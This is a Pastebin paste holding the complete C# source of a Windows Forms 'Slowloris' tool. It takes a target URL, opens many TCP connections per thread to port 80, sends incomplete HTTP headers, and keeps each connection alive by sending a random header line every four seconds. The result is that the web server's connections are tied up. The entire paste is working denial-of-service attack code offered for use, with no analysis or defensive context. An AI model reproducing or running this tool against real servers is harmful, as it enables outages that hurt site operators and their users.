Advertisement
Guest User

Untitled

a guest
Nov 21st, 2013
571
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C# 5.16 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Threading;
  6. using System.Text;
  7. using System.Windows.Forms;
  8. using System.Net;
  9. using System.Net.Sockets;
  10.  
  11. namespace Slowloris
  12. {
  13.     public partial class Form1 : Form
  14.     {
  15.         public static List<Thread> trds = new List<Thread>();
  16.         public volatile string target = "";
  17.         public volatile int per_thread = 100;
  18.         public volatile int num_threads = 4;
  19.         public volatile bool keepworking = true;
  20.         public Form1()
  21.         {
  22.             InitializeComponent();
  23.         }
  24.  
  25.         private void StartStopbtn_Click(object sender, EventArgs e)
  26.         {
  27.             switch (((Button)sender).Text)
  28.             {
  29.                 case "Start":
  30.                     try { new Uri(this.TargetURLtbx.Text); }
  31.                     catch (Exception) { MessageBox.Show("ERROR: Invalid target URL"); return; }
  32.                     keepworking = true;
  33.                     target = this.TargetURLtbx.Text;
  34.                     per_thread = (int)this.NUDspt.Value;
  35.                     num_threads = (int)this.NUDthreads.Value;
  36.                     for (int i = 0; i < num_threads; i++)
  37.                     {
  38.                         trds.Add((new Thread(new ThreadStart(Worker))));
  39.                         trds[trds.Count-1].Start();
  40.                     }
  41.                     this.StartStopbtn.Text = "Stop";
  42.                     break;
  43.  
  44.                 case "Stop":
  45.                     keepworking = false;
  46.                     trds.Clear();
  47.                     this.StartStopbtn.Text = "Start";
  48.                     break;
  49.  
  50.                 default:
  51.                     foreach (Thread t in trds)
  52.                     {
  53.                         if (t.ThreadState != ThreadState.Stopped)
  54.                         {
  55.                             ((Button)sender).Text = "Stop";
  56.                             return;
  57.                         }
  58.                     }
  59.                     ((Button)sender).Text = "Start";
  60.                     break;
  61.                    
  62.             }
  63.         }
  64.  
  65.         private void Worker()
  66.         {
  67.             Socket[] socks = new Socket[per_thread];
  68.             Uri uri = new Uri(target);
  69.             //Setup Sockets
  70.             for(int i=0;i<per_thread;i++)
  71.             {
  72.                 if (!keepworking) { goto ENDLOOP; }
  73.                 socks[i] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  74.             }
  75.             while (true)
  76.             {
  77.                 if (!keepworking) { goto ENDLOOP; }
  78.                 for (int i = 0; i < per_thread; i++)
  79.                 {
  80.                     if (!keepworking) { goto ENDLOOP; }
  81.                     if (!socks[i].Connected)
  82.                     {
  83.                     RETRY_CONNECT:
  84.                         if (!keepworking) { goto ENDLOOP; }
  85.                         try
  86.                         {
  87.  
  88.                             socks[i] = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
  89.                             //socks[i].Connect(IPAddress.Parse("127.0.0.1"), 8888);
  90.                             socks[i].Connect(Dns.GetHostAddresses(uri.Host)[0], 80);
  91.                             socks[i].Send(System.Text.Encoding.ASCII.GetBytes("GET " + uri.PathAndQuery + " HTTP/1.1\r\nHost: " + uri.Host + "\r\nUser-Agent: C# Slowloris Public Edition by LiteSpeed (config: per_thread=" + per_thread + "; num_threads=" + num_threads + ";)\r\n"), SocketFlags.None);
  92.                         }
  93.                         catch (Exception)
  94.                         {
  95.                             if (!keepworking) { goto ENDLOOP; }
  96.                             Thread.Sleep(1000);
  97.                             goto RETRY_CONNECT;
  98.                         }
  99.                     }
  100.                     if (!keepworking) { goto ENDLOOP; }
  101.                 }
  102.                 if (!keepworking) { goto ENDLOOP; }
  103.             LOOP:
  104.                 if (!keepworking) { goto ENDLOOP; }
  105.                 try
  106.                 {
  107.                     for (int i = 0; i < per_thread; i++)
  108.                     {
  109.                         if (!keepworking) { goto ENDLOOP; }
  110.                         socks[i].Send(System.Text.Encoding.ASCII.GetBytes("X-"+RandomNumberString(10)+": 1\r\n"), SocketFlags.None);
  111.                     }
  112.                 }
  113.                 catch (Exception)
  114.                 {
  115.                     continue;
  116.                 }
  117.                 Thread.Sleep(4000);
  118.                 if (!keepworking) { goto ENDLOOP; }
  119.                 goto LOOP;
  120.             }
  121.             ENDLOOP:
  122.             for (int i = 0; i < per_thread; i++)
  123.             {
  124.                 if (socks[i].Connected)
  125.                 {
  126.                     socks[i].Disconnect(false);
  127.                 }
  128.                 socks[i] = null;
  129.             }
  130.  
  131.         }
  132.  
  133.         Random r = new Random(Environment.TickCount);
  134.         public string RandomNumberString(int length)
  135.         {
  136.             string outstr = "";
  137.             for (int i = 0; i < length; i++)
  138.             {
  139.                 outstr += r.Next(9);
  140.             }
  141.             return outstr;
  142.         }
  143.     }
  144. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement